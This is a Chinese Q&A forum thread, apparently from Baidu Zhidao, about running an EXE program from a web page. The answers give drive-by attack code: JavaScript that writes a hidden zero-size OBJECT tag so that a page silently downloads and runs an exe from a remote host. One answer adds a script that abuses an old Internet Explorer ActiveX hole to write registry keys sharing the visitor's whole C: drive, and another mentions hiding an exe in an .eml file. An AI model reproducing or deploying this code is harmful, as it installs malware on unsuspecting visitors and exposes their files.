如何在网页中打开exe文件,并进行链接操作(求思路求方案)

在VPS上运行EXE程序操作。以IIS架设个网站,进行网页传参操作。判断程序操作动作完成,以事先截好的图显示网页上。如果以网页输入,输入数字后,提交作为操作动作(如IE浏... 在VPS上运行EXE程序操作。以IIS架设个网站,进行网页传参操作。判断程序操作动作完成,以事先截好的图显示网页上。如果以网页输入,输入数字后,提交作为操作动作(如IE浏览器:1,启动。2关闭。3最小化。4工具)如何实现呢?难道再弄个脚本程序,再用网页传参操作脚本? 当然简单点的直接远程就可以了。但主要是网页传参操作。。求思路求方案

555,没分了。。
展开
 我来答
匿名用户
推荐于2017-09-18
展开全部
第一种
它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>

第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
function
f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl
= a1.GetObject();
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function
init()
{
setTimeout("f()", 1000);
}

init();
</script>

第三种
个人认为是现在最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
书又菡0fb
推荐于2017-09-22 · TA获得超过341个赞
知道小有建树答主
回答量:199
采纳率:0%
帮助的人:61.4万
展开全部
用 js 代码嵌入,例如下面的这段代码:

<script language="javascript">
run_exe="<OBJECT ID=""RUNIT"" WIDTH=0 HEIGHT=0 TYPE=""application/x-oleobject"""
run_exe+="CODEBASE=""http://**.com/**.exe#version=1,1,1,1"">"
//这里的**.exe就是要运行的程序的网上路径
run_exe+="<PARAM NAME=""_Version"" value=""65536"">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>等会......网页在下载支持的文件</H1></HTML>";
//这里可以写其他任何东西.也可以什么都不写
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
lihongwei41
2015-11-17 · TA获得超过4万个赞
知道大有可为答主
回答量:2.5万
采纳率:0%
帮助的人:6007万
展开全部
  最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(1)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式